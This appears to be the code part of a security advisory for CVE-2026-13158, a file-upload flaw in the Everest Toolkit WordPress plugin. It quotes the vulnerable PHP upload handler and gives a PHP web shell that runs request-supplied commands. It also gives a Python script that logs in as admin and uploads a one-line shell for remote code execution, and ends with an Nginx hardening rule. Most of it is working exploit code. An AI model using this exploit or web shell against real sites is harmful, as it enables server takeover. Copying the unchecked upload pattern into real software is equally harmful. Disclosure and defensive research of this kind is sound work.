// Vulnerable file handling routine in Everest Toolkit <= 1.2.3
public function handle_toolkit_file_upload() {
    if ( ! current_user_can( 'manage_options' ) ) {
        wp_die( __( 'Unauthorized access', 'everest-toolkit' ) );
    }

    if ( isset( $_FILES['toolkit_import_file'] ) ) {
        $file = $_FILES['toolkit_import_file'];
        
        // CRITICAL FLAW: Insufficient file type restriction check!
        // Relying solely on client-side headers or unsafe overrides without checking wp_check_filetype_and_ext()
        $upload_dir = wp_upload_dir();
        $target_path = $upload_dir['path'] . '/' . basename( $file['name'] );

        if ( move_uploaded_file( $file['tmp_name'], $target_path ) ) {
            wp_send_json_success( array( 'file_url' => $upload_dir['url'] . '/' . basename( $file['name'] ) ) );
        }
    }
}

<?php
// CVE-2026-13158 Proof-of-Concept Payload
// Discovered & Authored by Huynh Kien Minh (MinhHK)
header('Content-Type: text/plain');
echo "=== CVE-2026-13158 RCE Verification ===\n";
echo "Host System: " . php_uname() . "\n";
echo "Current User: " . get_current_user() . "\n";
if (isset($_REQUEST['cmd'])) {
    system($_REQUEST['cmd']);
}
?>

#!/usr/bin/env python3
"""
CVE-2026-13158 - Everest Toolkit <= 1.2.3 Admin+ Arbitrary File Upload PoC
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""

import requests
import sys

TARGET_URL = "http://target-wordpress.local"
USERNAME = "admin"
PASSWORD = "admin_password"

session = requests.Session()

def login():
    login_url = f"{TARGET_URL}/wp-login.php"
    payload = {
        'log': USERNAME,
        'pwd': PASSWORD,
        'wp-submit': 'Log In',
        'redirect_to': f"{TARGET_URL}/wp-admin/",
        'testcookie': '1'
    }
    res = session.post(login_url, data=payload)
    if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
        print("[+] Authenticated successfully as Admin!")
        return True
    print("[-] Authentication failed.")
    return False

def exploit():
    upload_url = f"{TARGET_URL}/wp-admin/admin-ajax.php"
    files = {
        'toolkit_import_file': ('poc_rce.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')
    }
    data = {
        'action': 'everest_toolkit_file_upload'
    }
    res = session.post(upload_url, data=data, files=files)
    if res.status_code == 200 and 'file_url' in res.text:
        file_url = res.json().get('data', {}).get('file_url', '')
        print(f"[+] Payload uploaded successfully! RCE URL: {file_url}?cmd=id")
    else:
        print("[-] Upload failed or endpoint not vulnerable.")

if __name__ == "__main__":
    if login():
        exploit()

# Nginx Hardening Rule
location ~* ^/wp-content/uploads/.*\.php$ {
    deny all;
    return 403;
}

{
  "@context": "https://schema.org",
  "@type": "TechArticle",
  "headline": "CVE-2026-13158: Everest Toolkit <= 1.2.3 Admin+ Arbitrary File Upload to Remote Code Execution",
  "name": "CVE-2026-13158 Security Advisory",
  "author": {
    "@type": "Person",
    "name": "Huynh Kien Minh",
    "alternateName": "MinhHK",
    "url": "https://minhhk.web.app/"
  },
  "datePublished": "2026-08-01",
  "description": "Deep-dive technical security advisory by Huynh Kien Minh analyzing CVE-2026-13158 in Everest Toolkit <= 1.2.3 WordPress plugin.",
  "about": {
    "@type": "SoftwareApplication",
    "name": "Everest Toolkit",
    "operatingSystem": "WordPress"
  },
  "identifier": "CVE-2026-13158"
}